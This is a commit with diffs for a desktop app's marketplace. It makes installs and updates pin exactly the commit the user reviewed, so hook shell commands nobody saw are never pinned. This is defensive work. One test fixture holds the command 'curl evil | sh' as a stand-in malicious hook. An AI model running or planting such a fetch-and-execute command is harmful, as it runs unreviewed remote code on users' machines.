Marketplace: pin the commit the user reviewed (final review I2)
Install and update pinned whatever the marketplace head was when the click landed, so a background refresh between review and click could pin content nobody saw (including a hook's shell commands). install_marketplace_item and update_marketplace_item now take expected_commit and refuse with "changed since you reviewed this item — review it again" unless it is still the head. The UI passes the head the selected item was read at (Browse), the head frozen with a pending hook confirm (whose commands are frozen too), and the head of the accepted diff (Installed). Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
@@ -62,6 +62,26 @@ pub(crate) mod ops {
|
||||
}
|
||||
}
|
||||
|
||||
/// The commit to pin for an install or update: the marketplace's current
|
||||
/// head, but only if it is the one the person reviewed (`expected`, the
|
||||
/// head the UI showed or diffed against). A refresh that lands between
|
||||
/// review and click must not pin content nobody saw (final review I2).
|
||||
pub fn reviewed_head(
|
||||
head: Option<&str>,
|
||||
expected: &str,
|
||||
marketplace_name: &str,
|
||||
) -> Result<String, String> {
|
||||
let head = head.ok_or_else(|| {
|
||||
format!("\"{marketplace_name}\" has not been fetched yet — refresh it first.")
|
||||
})?;
|
||||
if head != expected {
|
||||
return Err(format!(
|
||||
"\"{marketplace_name}\" has changed since you reviewed this item — review it again."
|
||||
));
|
||||
}
|
||||
Ok(head.to_string())
|
||||
}
|
||||
|
||||
/// An unvalidated value as it may appear in an error: quoted and escaped
|
||||
/// (`{:?}`) and capped at 60 characters, since it can come from an
|
||||
/// import file rather than from what the person just typed.
|
||||
@@ -226,6 +246,23 @@ pub(crate) mod ops {
|
||||
}
|
||||
}
|
||||
|
||||
/// Final review I2: an install or update pins exactly the commit the
|
||||
/// person reviewed, or nothing.
|
||||
#[test]
|
||||
fn only_the_reviewed_head_is_pinned() {
|
||||
let h = "a".repeat(40);
|
||||
assert_eq!(reviewed_head(Some(&h), &h, "Team").unwrap(), h);
|
||||
let moved = reviewed_head(Some(&h), &"b".repeat(40), "Team").unwrap_err();
|
||||
assert!(moved.contains("changed since you reviewed"), "{moved}");
|
||||
assert!(moved.contains("review it again"), "{moved}");
|
||||
assert!(reviewed_head(Some(&h), "", "Team").is_err());
|
||||
let unfetched = reviewed_head(None, &h, "Team").unwrap_err();
|
||||
assert!(
|
||||
unfetched.contains("has not been fetched yet"),
|
||||
"{unfetched}"
|
||||
);
|
||||
}
|
||||
|
||||
/// Pre-flight F13: the add form and the fetch agree on what a branch
|
||||
/// is, so a name the fetch would refuse is refused up front.
|
||||
#[test]
|
||||
@@ -642,24 +679,21 @@ pub async fn forget_marketplace_installs(
|
||||
// Installs
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
/// Pins the item at the marketplace's current head. Returns fresh settings;
|
||||
/// for a project scope the caller reloads projects.
|
||||
/// Pins the item at `expected_commit`, the head the person reviewed, which
|
||||
/// must still be the marketplace's head. Returns fresh settings; for a
|
||||
/// project scope the caller reloads projects.
|
||||
#[tauri::command]
|
||||
pub async fn install_marketplace_item(
|
||||
item: MarketplaceItemRef,
|
||||
scope: InstallScope,
|
||||
expected_commit: String,
|
||||
state: State<'_, AppState>,
|
||||
) -> Result<AppSettings, String> {
|
||||
validate_item(&item)?;
|
||||
let settings = state.settings_store.get();
|
||||
let m = find_marketplace(&settings, &item.marketplace_id)?;
|
||||
let snap = snapshot_blocking(&state, &m).await?;
|
||||
let head = snap.head_commit.clone().ok_or_else(|| {
|
||||
format!(
|
||||
"\"{}\" has not been fetched yet — refresh it first.",
|
||||
m.name
|
||||
)
|
||||
})?;
|
||||
let head = ops::reviewed_head(snap.head_commit.as_deref(), &expected_commit, &m.name)?;
|
||||
let entry = snap
|
||||
.items
|
||||
.iter()
|
||||
@@ -781,26 +815,21 @@ pub async fn marketplace_item_diff(
|
||||
.map_err(|e| format!("Computing the diff failed: {e}"))?
|
||||
}
|
||||
|
||||
/// Moves one install's pin to the marketplace's head, if the item is still
|
||||
/// installable there.
|
||||
/// Moves one install's pin to `expected_commit`, the head whose diff the
|
||||
/// person accepted, if that is still the marketplace's head and the item is
|
||||
/// still installable there.
|
||||
#[tauri::command]
|
||||
pub async fn update_marketplace_item(
|
||||
item: MarketplaceItemRef,
|
||||
scope: InstallScope,
|
||||
expected_commit: String,
|
||||
state: State<'_, AppState>,
|
||||
) -> Result<(), String> {
|
||||
validate_item(&item)?;
|
||||
let settings = state.settings_store.get();
|
||||
let m = find_marketplace(&settings, &item.marketplace_id)?;
|
||||
let head = snapshot_blocking(&state, &m)
|
||||
.await?
|
||||
.head_commit
|
||||
.ok_or_else(|| {
|
||||
format!(
|
||||
"\"{}\" has not been fetched yet — refresh it first.",
|
||||
m.name
|
||||
)
|
||||
})?;
|
||||
let snap = snapshot_blocking(&state, &m).await?;
|
||||
let head = ops::reviewed_head(snap.head_commit.as_deref(), &expected_commit, &m.name)?;
|
||||
|
||||
let repo = git::cache_path(state.marketplace.data_root(), &m.id);
|
||||
let (kind, key, at) = (item.kind, item.key.clone(), head.clone());
|
||||
|
||||
@@ -4,7 +4,9 @@ import { useAppState } from "../../store/appState";
|
||||
import type { AppSettings, CatalogItem, MarketplaceSnapshot } from "../../lib/types";
|
||||
import type { MarketplaceApi } from "../../hooks/useMarketplace";
|
||||
|
||||
vi.mock("./InstallControls", () => ({ default: () => <div>install controls</div> }));
|
||||
vi.mock("./InstallControls", () => ({
|
||||
default: ({ headCommit }: { headCommit: string | null }) => <div>install controls at {headCommit}</div>,
|
||||
}));
|
||||
vi.mock("./AddMarketplaceModal", () => ({ default: () => <div>add modal</div> }));
|
||||
|
||||
import BrowsePane from "./BrowsePane";
|
||||
@@ -76,7 +78,15 @@ describe("BrowsePane", () => {
|
||||
|
||||
fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ }));
|
||||
expect(screen.getByText("code-reviewer preview body")).toBeInTheDocument();
|
||||
expect(screen.getByText("install controls")).toBeInTheDocument();
|
||||
expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("I2: installs pin the head the shown item was read at, not a later one", () => {
|
||||
const mp = api();
|
||||
const { rerender } = render(<BrowsePane mp={mp} />);
|
||||
fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ }));
|
||||
rerender(<BrowsePane mp={{ ...mp, snapshots: [{ ...snapshot, head_commit: "b".repeat(40) }] }} />);
|
||||
expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("shows why an item is invalid", () => {
|
||||
|
||||
@@ -24,7 +24,13 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
|
||||
const setFilterId = useAppState((s) => s.setMarketplaceFilterProjectId);
|
||||
const [kind, setKind] = useState<KindFilter>("all");
|
||||
const [query, setQuery] = useState("");
|
||||
const [selected, setSelected] = useState<{ marketplaceId: string; item: CatalogItem } | null>(null);
|
||||
// The item is kept as it was read, with the head it was read at: an
|
||||
// install pins exactly what the detail pane shows (final review I2).
|
||||
const [selected, setSelected] = useState<{
|
||||
marketplaceId: string;
|
||||
item: CatalogItem;
|
||||
headCommit: string | null;
|
||||
} | null>(null);
|
||||
const [adding, setAdding] = useState(false);
|
||||
const [removing, setRemoving] = useState<Marketplace | null>(null);
|
||||
|
||||
@@ -35,7 +41,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
|
||||
.filter((i) => kind === "all" || i.kind === kind)
|
||||
.filter((i) => q === "" || `${i.name} ${i.key} ${i.description}`.toLowerCase().includes(q))
|
||||
.sort((a, b) => KIND_ORDER.indexOf(a.kind) - KIND_ORDER.indexOf(b.kind) || a.name.localeCompare(b.name))
|
||||
.map((item) => ({ marketplaceId: snap.marketplace_id, item })),
|
||||
.map((item) => ({ marketplaceId: snap.marketplace_id, item, headCommit: snap.head_commit })),
|
||||
);
|
||||
}, [mp.snapshots, kind, query]);
|
||||
|
||||
@@ -161,7 +167,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
|
||||
className={inputClass}
|
||||
/>
|
||||
<ul className="space-y-1">
|
||||
{rows.map(({ marketplaceId, item }) => {
|
||||
{rows.map(({ marketplaceId, item, headCommit }) => {
|
||||
const key = itemRefKey({ marketplace_id: marketplaceId, kind: item.kind, key: item.key });
|
||||
const isSel =
|
||||
selected?.marketplaceId === marketplaceId &&
|
||||
@@ -171,7 +177,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
|
||||
<li key={key}>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setSelected({ marketplaceId, item })}
|
||||
onClick={() => setSelected({ marketplaceId, item, headCommit })}
|
||||
className={`w-full text-left px-2 py-1.5 rounded-[var(--radius-control)] text-xs ${
|
||||
isSel ? "bg-[var(--bg-tertiary)]" : "hover:bg-[var(--bg-tertiary)]"
|
||||
}`}
|
||||
@@ -197,7 +203,12 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
|
||||
|
||||
<section className="flex-1 min-w-0 p-4 overflow-auto">
|
||||
{selected ? (
|
||||
<ItemDetail mp={mp} item={selected.item} marketplaceId={selected.marketplaceId} />
|
||||
<ItemDetail
|
||||
mp={mp}
|
||||
item={selected.item}
|
||||
marketplaceId={selected.marketplaceId}
|
||||
headCommit={selected.headCommit}
|
||||
/>
|
||||
) : (
|
||||
<p className="text-xs text-[var(--text-secondary)]">Select an item to see what it contains and install it.</p>
|
||||
)}
|
||||
|
||||
@@ -4,16 +4,20 @@ import type { CatalogItem } from "../../lib/types";
|
||||
|
||||
interface Props {
|
||||
item: CatalogItem;
|
||||
/** The commit whose commands are listed; the install pins exactly this one. */
|
||||
commit: string;
|
||||
onConfirm: () => void;
|
||||
onCancel: () => void;
|
||||
}
|
||||
|
||||
/** Hooks run shell commands in every Claude session, so installing one is always confirmed. */
|
||||
export default function HookConfirmModal({ item, onConfirm, onCancel }: Props) {
|
||||
export default function HookConfirmModal({ item, commit, onConfirm, onCancel }: Props) {
|
||||
return (
|
||||
<Modal
|
||||
title={`Install hook “${item.name}”?`}
|
||||
description="This hook runs the commands below inside the container whenever its event fires."
|
||||
description={`This hook runs the commands below inside the container whenever its event fires.${
|
||||
commit ? ` Version ${commit.slice(0, 8)}.` : ""
|
||||
}`}
|
||||
widthClassName="w-[40rem]"
|
||||
onClose={onCancel}
|
||||
footer={
|
||||
|
||||
@@ -6,6 +6,8 @@ import type { AppSettings, CatalogItem, Project } from "../../lib/types";
|
||||
import type { MarketplaceApi } from "../../hooks/useMarketplace";
|
||||
|
||||
const C = "c".repeat(40);
|
||||
/** The snapshot head the user is looking at. */
|
||||
const H = "d".repeat(40);
|
||||
|
||||
function api(): MarketplaceApi {
|
||||
return {
|
||||
@@ -55,22 +57,22 @@ describe("InstallControls", () => {
|
||||
|
||||
it("installs for all projects", () => {
|
||||
const mp = api();
|
||||
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />);
|
||||
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
|
||||
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
|
||||
expect(mp.install).toHaveBeenCalledWith(ref, { type: "global" });
|
||||
expect(mp.install).toHaveBeenCalledWith(ref, { type: "global" }, H);
|
||||
});
|
||||
|
||||
it("installs for one project", () => {
|
||||
const mp = api();
|
||||
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />);
|
||||
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
|
||||
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p2/ }));
|
||||
expect(mp.install).toHaveBeenCalledWith(ref, { type: "project", project_id: "p2" });
|
||||
expect(mp.install).toHaveBeenCalledWith(ref, { type: "project", project_id: "p2" }, H);
|
||||
});
|
||||
|
||||
it("opts a project out of a global install and back in", () => {
|
||||
const mp = api();
|
||||
seed([{ ...ref, commit: C }], [project("p1"), project("p2", { marketplace_disabled: [ref] })]);
|
||||
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />);
|
||||
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
|
||||
const row1 = screen.getByTestId("install-row-p1");
|
||||
expect(within(row1).getByText("Inherited")).toBeInTheDocument();
|
||||
fireEvent.click(within(row1).getByRole("checkbox"));
|
||||
@@ -84,30 +86,49 @@ describe("InstallControls", () => {
|
||||
it("removes a project-only install", () => {
|
||||
const mp = api();
|
||||
seed([], [project("p1", { marketplace_installs: [{ ...ref, commit: C }] })]);
|
||||
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />);
|
||||
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
|
||||
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ }));
|
||||
expect(mp.uninstall).toHaveBeenCalledWith(ref, { type: "project", project_id: "p1" });
|
||||
});
|
||||
|
||||
it("requires confirmation before installing a hook", () => {
|
||||
const mp = api();
|
||||
render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" />);
|
||||
render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" headCommit={H} />);
|
||||
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
|
||||
expect(mp.install).not.toHaveBeenCalled();
|
||||
expect(screen.getByText("/home/claude/.claude/triple-c/hooks/rev/run.sh")).toBeInTheDocument();
|
||||
fireEvent.click(screen.getByRole("button", { name: "Install hook" }));
|
||||
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" });
|
||||
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
|
||||
});
|
||||
|
||||
it("I2: a hook confirm installs the commit whose commands it showed", () => {
|
||||
const mp = api();
|
||||
const { rerender } = render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" headCommit={H} />);
|
||||
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
|
||||
expect(screen.getByText(/dddddddd/)).toBeInTheDocument();
|
||||
// The marketplace moves on while the confirm is open.
|
||||
rerender(
|
||||
<InstallControls
|
||||
mp={mp}
|
||||
item={item("hook", { hook_commands: ["curl evil | sh"] })}
|
||||
marketplaceId="m1"
|
||||
headCommit={"e".repeat(40)}
|
||||
/>,
|
||||
);
|
||||
expect(screen.queryByText("curl evil | sh")).not.toBeInTheDocument();
|
||||
fireEvent.click(screen.getByRole("button", { name: "Install hook" }));
|
||||
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
|
||||
});
|
||||
|
||||
it("disables everything for an invalid item", () => {
|
||||
render(<InstallControls mp={api()} item={item("agent", { invalid: "bad front matter" })} marketplaceId="m1" />);
|
||||
render(<InstallControls mp={api()} item={item("agent", { invalid: "bad front matter" })} marketplaceId="m1" headCommit={H} />);
|
||||
expect(screen.getByRole("switch", { name: "All projects" })).toBeDisabled();
|
||||
expect(screen.getByRole("checkbox", { name: /proj-p1/ })).toBeDisabled();
|
||||
});
|
||||
|
||||
it("shows only the filtered project when a filter is set", () => {
|
||||
useAppState.setState({ marketplaceFilterProjectId: "p2" });
|
||||
render(<InstallControls mp={api()} item={item("agent")} marketplaceId="m1" />);
|
||||
render(<InstallControls mp={api()} item={item("agent")} marketplaceId="m1" headCommit={H} />);
|
||||
expect(screen.queryByTestId("install-row-p1")).not.toBeInTheDocument();
|
||||
expect(screen.getByTestId("install-row-p2")).toBeInTheDocument();
|
||||
});
|
||||
|
||||
@@ -18,13 +18,25 @@ interface Props {
|
||||
mp: MarketplaceApi;
|
||||
item: CatalogItem;
|
||||
marketplaceId: string;
|
||||
/**
|
||||
* The marketplace head `item` was read at. Installs pin exactly this commit;
|
||||
* the backend refuses if the marketplace has moved on since (final review I2).
|
||||
*/
|
||||
headCommit: string | null;
|
||||
}
|
||||
|
||||
export default function InstallControls({ mp, item, marketplaceId }: Props) {
|
||||
/** A hook install waiting for confirmation, frozen at the moment it was asked for. */
|
||||
interface PendingHook {
|
||||
scope: InstallScope;
|
||||
item: CatalogItem;
|
||||
commit: string;
|
||||
}
|
||||
|
||||
export default function InstallControls({ mp, item, marketplaceId, headCommit }: Props) {
|
||||
const appSettings = useAppState((s) => s.appSettings);
|
||||
const projects = useAppState((s) => s.projects);
|
||||
const filterId = useAppState((s) => s.marketplaceFilterProjectId);
|
||||
const [pendingHook, setPendingHook] = useState<InstallScope | null>(null);
|
||||
const [pendingHook, setPendingHook] = useState<PendingHook | null>(null);
|
||||
const [busy, setBusy] = useState(false);
|
||||
|
||||
const ref: MarketplaceItemRef = { marketplace_id: marketplaceId, kind: item.kind, key: item.key };
|
||||
@@ -33,6 +45,8 @@ export default function InstallControls({ mp, item, marketplaceId }: Props) {
|
||||
(g) => g.marketplace_id === marketplaceId && g.kind === item.kind && g.key === item.key,
|
||||
);
|
||||
const disabled = item.invalid !== null || busy;
|
||||
// "" never matches a head, so the backend explains that a refresh is needed.
|
||||
const commit = headCommit ?? "";
|
||||
const shown = filterId ? projects.filter((p) => p.id === filterId) : projects;
|
||||
|
||||
const run = async (fn: () => Promise<boolean>) => {
|
||||
@@ -47,10 +61,10 @@ export default function InstallControls({ mp, item, marketplaceId }: Props) {
|
||||
/** Every install goes through here so a hook is always confirmed first. */
|
||||
const install = (scope: InstallScope) => {
|
||||
if (item.kind === "hook") {
|
||||
setPendingHook(scope);
|
||||
setPendingHook({ scope, item, commit });
|
||||
return;
|
||||
}
|
||||
void run(() => mp.install(ref, scope));
|
||||
void run(() => mp.install(ref, scope, commit));
|
||||
};
|
||||
|
||||
const toggleProject = (projectId: string, state: ProjectItemState) => {
|
||||
@@ -111,12 +125,13 @@ export default function InstallControls({ mp, item, marketplaceId }: Props) {
|
||||
)}
|
||||
{pendingHook && (
|
||||
<HookConfirmModal
|
||||
item={item}
|
||||
item={pendingHook.item}
|
||||
commit={pendingHook.commit}
|
||||
onCancel={() => setPendingHook(null)}
|
||||
onConfirm={() => {
|
||||
const scope = pendingHook;
|
||||
const { scope, commit: reviewed } = pendingHook;
|
||||
setPendingHook(null);
|
||||
void run(() => mp.install(ref, scope));
|
||||
void run(() => mp.install(ref, scope, reviewed));
|
||||
}}
|
||||
/>
|
||||
)}
|
||||
|
||||
@@ -79,10 +79,21 @@ describe("InstalledPane", () => {
|
||||
fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
|
||||
fireEvent.click(screen.getByRole("button", { name: "accept diff" }));
|
||||
await waitFor(() =>
|
||||
expect(mp.update).toHaveBeenCalledWith({ marketplace_id: "m1", kind: "agent", key: "rev" }, { type: "global" }),
|
||||
expect(mp.update).toHaveBeenCalledWith({ marketplace_id: "m1", kind: "agent", key: "rev" }, { type: "global" }, B),
|
||||
);
|
||||
});
|
||||
|
||||
it("I2: accepts the head that was reviewed even if the update list moves on", async () => {
|
||||
const C = "c".repeat(40);
|
||||
const item = { marketplace_id: "m1", kind: "agent" as const, key: "rev" };
|
||||
const mp = api({ updates: [{ item, pinned: A, head: B }] });
|
||||
const { rerender } = render(<InstalledPane mp={mp} />);
|
||||
fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
|
||||
rerender(<InstalledPane mp={{ ...mp, updates: [{ item, pinned: A, head: C }] }} />);
|
||||
fireEvent.click(screen.getByRole("button", { name: "accept diff" }));
|
||||
await waitFor(() => expect(mp.update).toHaveBeenCalledWith(item, { type: "global" }, B));
|
||||
});
|
||||
|
||||
it("marks installs whose marketplace was removed and forgets them", () => {
|
||||
const mp = api();
|
||||
render(<InstalledPane mp={mp} />);
|
||||
|
||||
@@ -16,6 +16,8 @@ interface Pending {
|
||||
update: ItemUpdate;
|
||||
scope: InstallScope;
|
||||
scopeLabel: string;
|
||||
/** Hooks only: what the hook runs at `update.head`, captured with it. */
|
||||
hookCommands: string[] | undefined;
|
||||
}
|
||||
|
||||
export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
|
||||
@@ -42,10 +44,13 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
|
||||
/** Hooks only (spec §3, preflight F8): the rendered commands at head, so the
|
||||
* diff review shows what a hook will run after the update, not just the
|
||||
* raw `hook.json` diff. */
|
||||
const hookCommandsFor = (item: MarketplaceItemRef): string[] | undefined => {
|
||||
const hookCommandsFor = ({ item, head }: ItemUpdate): string[] | undefined => {
|
||||
if (item.kind !== "hook") return undefined;
|
||||
const snap = mp.snapshots.find((s) => s.marketplace_id === item.marketplace_id);
|
||||
return snap?.items.find((it) => it.kind === "hook" && it.key === item.key)?.hook_commands;
|
||||
// Only when the snapshot is at the head being reviewed; otherwise they
|
||||
// would describe a different version than the diff.
|
||||
if (snap?.head_commit !== head) return undefined;
|
||||
return snap.items.find((it) => it.kind === "hook" && it.key === item.key)?.hook_commands;
|
||||
};
|
||||
|
||||
const removedSources = [
|
||||
@@ -100,7 +105,9 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
|
||||
size="sm"
|
||||
variant="secondary"
|
||||
aria-label={`Review update for ${i.key}`}
|
||||
onClick={() => setPending({ install: i, update: upd, scope, scopeLabel })}
|
||||
onClick={() =>
|
||||
setPending({ install: i, update: upd, scope, scopeLabel, hookCommands: hookCommandsFor(upd) })
|
||||
}
|
||||
>
|
||||
Update available
|
||||
</Button>
|
||||
@@ -175,9 +182,10 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
|
||||
fromCommit={pending.install.commit}
|
||||
toCommit={pending.update.head}
|
||||
scopeLabel={pending.scopeLabel}
|
||||
hookCommands={hookCommandsFor(pending.update.item)}
|
||||
hookCommands={pending.hookCommands}
|
||||
onClose={() => setPending(null)}
|
||||
onAccept={() => mp.update(pending.update.item, pending.scope)}
|
||||
// Pin exactly the head whose diff is on screen (final review I2).
|
||||
onAccept={() => mp.update(pending.update.item, pending.scope, pending.update.head)}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
|
||||
@@ -8,9 +8,11 @@ interface Props {
|
||||
mp: MarketplaceApi;
|
||||
item: CatalogItem;
|
||||
marketplaceId: string;
|
||||
/** The marketplace head `item` was read at. */
|
||||
headCommit: string | null;
|
||||
}
|
||||
|
||||
export default function ItemDetail({ mp, item, marketplaceId }: Props) {
|
||||
export default function ItemDetail({ mp, item, marketplaceId, headCommit }: Props) {
|
||||
return (
|
||||
<div className="space-y-3">
|
||||
<div>
|
||||
@@ -45,7 +47,7 @@ export default function ItemDetail({ mp, item, marketplaceId }: Props) {
|
||||
)}
|
||||
<div>
|
||||
<p className="text-xs font-medium mb-1">Install</p>
|
||||
<InstallControls mp={mp} item={item} marketplaceId={marketplaceId} />
|
||||
<InstallControls mp={mp} item={item} marketplaceId={marketplaceId} headCommit={headCommit} />
|
||||
<p className="mt-2 text-[11px] text-[var(--text-secondary)]">
|
||||
Running containers pick changes up on their next start or with “Apply now” on the Installed tab. Changes
|
||||
apply to new Claude sessions.
|
||||
|
||||
@@ -9,6 +9,7 @@ const listMarketplaceUpdates = vi.fn();
|
||||
const getSettings = vi.fn();
|
||||
const listProjects = vi.fn();
|
||||
const installMarketplaceItem = vi.fn();
|
||||
const updateMarketplaceItem = vi.fn();
|
||||
|
||||
vi.mock("../lib/tauri-commands", () => ({
|
||||
listMarketplaceSnapshots: () => listMarketplaceSnapshots(),
|
||||
@@ -17,6 +18,7 @@ vi.mock("../lib/tauri-commands", () => ({
|
||||
getSettings: () => getSettings(),
|
||||
listProjects: () => listProjects(),
|
||||
installMarketplaceItem: (...a: unknown[]) => installMarketplaceItem(...a),
|
||||
updateMarketplaceItem: (...a: unknown[]) => updateMarketplaceItem(...a),
|
||||
}));
|
||||
|
||||
let syncHandler: ((e: { payload: unknown }) => void) | null = null;
|
||||
@@ -66,11 +68,23 @@ describe("useMarketplace", () => {
|
||||
installMarketplaceItem.mockRejectedValue("boom");
|
||||
const { result } = renderHook(() => useMarketplace());
|
||||
const ok = await act(() =>
|
||||
result.current.install({ marketplace_id: "m1", kind: "agent", key: "a" }, { type: "global" }),
|
||||
result.current.install({ marketplace_id: "m1", kind: "agent", key: "a" }, { type: "global" }, "c".repeat(40)),
|
||||
);
|
||||
expect(ok).toBe(false);
|
||||
expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "error", detail: "boom" });
|
||||
});
|
||||
|
||||
it("I2: passes the reviewed commit to install and update", async () => {
|
||||
listMarketplaceSnapshots.mockResolvedValue([]);
|
||||
installMarketplaceItem.mockResolvedValue({});
|
||||
updateMarketplaceItem.mockResolvedValue(undefined);
|
||||
const item = { marketplace_id: "m1", kind: "hook" as const, key: "h" };
|
||||
const { result } = renderHook(() => useMarketplace());
|
||||
await act(() => result.current.install(item, { type: "global" }, "c".repeat(40)));
|
||||
expect(installMarketplaceItem).toHaveBeenCalledWith(item, { type: "global" }, "c".repeat(40));
|
||||
await act(() => result.current.update(item, { type: "project", project_id: "p1" }, "d".repeat(40)));
|
||||
expect(updateMarketplaceItem).toHaveBeenCalledWith(item, { type: "project", project_id: "p1" }, "d".repeat(40));
|
||||
});
|
||||
});
|
||||
|
||||
describe("useMarketplaceSyncToasts", () => {
|
||||
|
||||
@@ -21,10 +21,12 @@ export interface MarketplaceApi {
|
||||
refresh: (marketplaceId?: string) => Promise<void>;
|
||||
/** Reload settings, projects and the update list after a mutation. */
|
||||
reloadState: () => Promise<void>;
|
||||
install: (item: MarketplaceItemRef, scope: InstallScope) => Promise<boolean>;
|
||||
/** `commit`: the marketplace head the user reviewed (see `install_marketplace_item`). */
|
||||
install: (item: MarketplaceItemRef, scope: InstallScope, commit: string) => Promise<boolean>;
|
||||
uninstall: (item: MarketplaceItemRef, scope: InstallScope) => Promise<boolean>;
|
||||
setDisabled: (projectId: string, item: MarketplaceItemRef, disabled: boolean) => Promise<boolean>;
|
||||
update: (item: MarketplaceItemRef, scope: InstallScope) => Promise<boolean>;
|
||||
/** `commit`: the head whose diff the user accepted. */
|
||||
update: (item: MarketplaceItemRef, scope: InstallScope, commit: string) => Promise<boolean>;
|
||||
forget: (marketplaceId: string) => Promise<boolean>;
|
||||
remove: (marketplaceId: string) => Promise<boolean>;
|
||||
}
|
||||
@@ -146,16 +148,16 @@ export function useMarketplace(): MarketplaceApi {
|
||||
load,
|
||||
refresh,
|
||||
reloadState,
|
||||
install: (item, scope) =>
|
||||
mutate(`Could not install ${item.key}`, () => commands.installMarketplaceItem(item, scope)),
|
||||
install: (item, scope, commit) =>
|
||||
mutate(`Could not install ${item.key}`, () => commands.installMarketplaceItem(item, scope, commit)),
|
||||
uninstall: (item, scope) =>
|
||||
mutate(`Could not remove ${item.key}`, () => commands.uninstallMarketplaceItem(item, scope)),
|
||||
setDisabled: (projectId, item, disabled) =>
|
||||
mutate(`Could not change ${item.key} for this project`, () =>
|
||||
commands.setGlobalItemDisabled(projectId, item, disabled),
|
||||
),
|
||||
update: (item, scope) =>
|
||||
mutate(`Could not update ${item.key}`, () => commands.updateMarketplaceItem(item, scope)),
|
||||
update: (item, scope, commit) =>
|
||||
mutate(`Could not update ${item.key}`, () => commands.updateMarketplaceItem(item, scope, commit)),
|
||||
forget: (marketplaceId) =>
|
||||
mutate("Could not forget those installs", () => commands.forgetMarketplaceInstalls(marketplaceId)),
|
||||
remove: async (marketplaceId) => {
|
||||
|
||||
@@ -449,8 +449,9 @@ export const updateMarketplace = (marketplace: Marketplace) =>
|
||||
invoke<AppSettings>("update_marketplace", { marketplace });
|
||||
export const removeMarketplace = (marketplaceId: string) =>
|
||||
invoke<AppSettings>("remove_marketplace", { marketplaceId });
|
||||
export const installMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) =>
|
||||
invoke<AppSettings>("install_marketplace_item", { item, scope });
|
||||
/** `expectedCommit`: the head the user reviewed; the backend refuses if it moved. */
|
||||
export const installMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope, expectedCommit: string) =>
|
||||
invoke<AppSettings>("install_marketplace_item", { item, scope, expectedCommit });
|
||||
export const uninstallMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) =>
|
||||
invoke<void>("uninstall_marketplace_item", { item, scope });
|
||||
export const setGlobalItemDisabled = (
|
||||
@@ -466,8 +467,9 @@ export const marketplaceItemDiff = (
|
||||
fromCommit: string,
|
||||
toCommit: string,
|
||||
) => invoke<FileDiff[]>("marketplace_item_diff", { item, fromCommit, toCommit });
|
||||
export const updateMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) =>
|
||||
invoke<void>("update_marketplace_item", { item, scope });
|
||||
/** `expectedCommit`: the head whose diff the user accepted; the backend refuses if it moved. */
|
||||
export const updateMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope, expectedCommit: string) =>
|
||||
invoke<void>("update_marketplace_item", { item, scope, expectedCommit });
|
||||
export const applyMarketplaceNow = (projectId?: string) =>
|
||||
invoke<ProjectSyncResult[]>("apply_marketplace_now", { projectId: projectId ?? null });
|
||||
export const getMarketplaceSyncReport = (projectId: string) =>
|
||||
|
||||
@@ -184,7 +184,10 @@ password = token. Shallow fetch is not used (pins need history for diff/ancestry
|
||||
**Update detection** compares each installed item's own tree (item folder / file blob id) at
|
||||
its pin vs. the branch head; only a changed item shows "update available".
|
||||
**Update** shows a text diff of the item's files (pinned → head) and, on accept, moves the pin.
|
||||
Hooks' diffs always show the rendered commands.
|
||||
Hooks' diffs always show the rendered commands. Install and update both carry the commit the user
|
||||
reviewed (the head the item was read at, the head of the accepted diff); the backend pins exactly
|
||||
that commit and refuses with "changed since you reviewed this item — review it again" if the
|
||||
marketplace's head has moved since.
|
||||
|
||||
**Accounts** (`marketplace/auth.rs`):
|
||||
|
||||
|
||||
Reference in New Issue
Block a user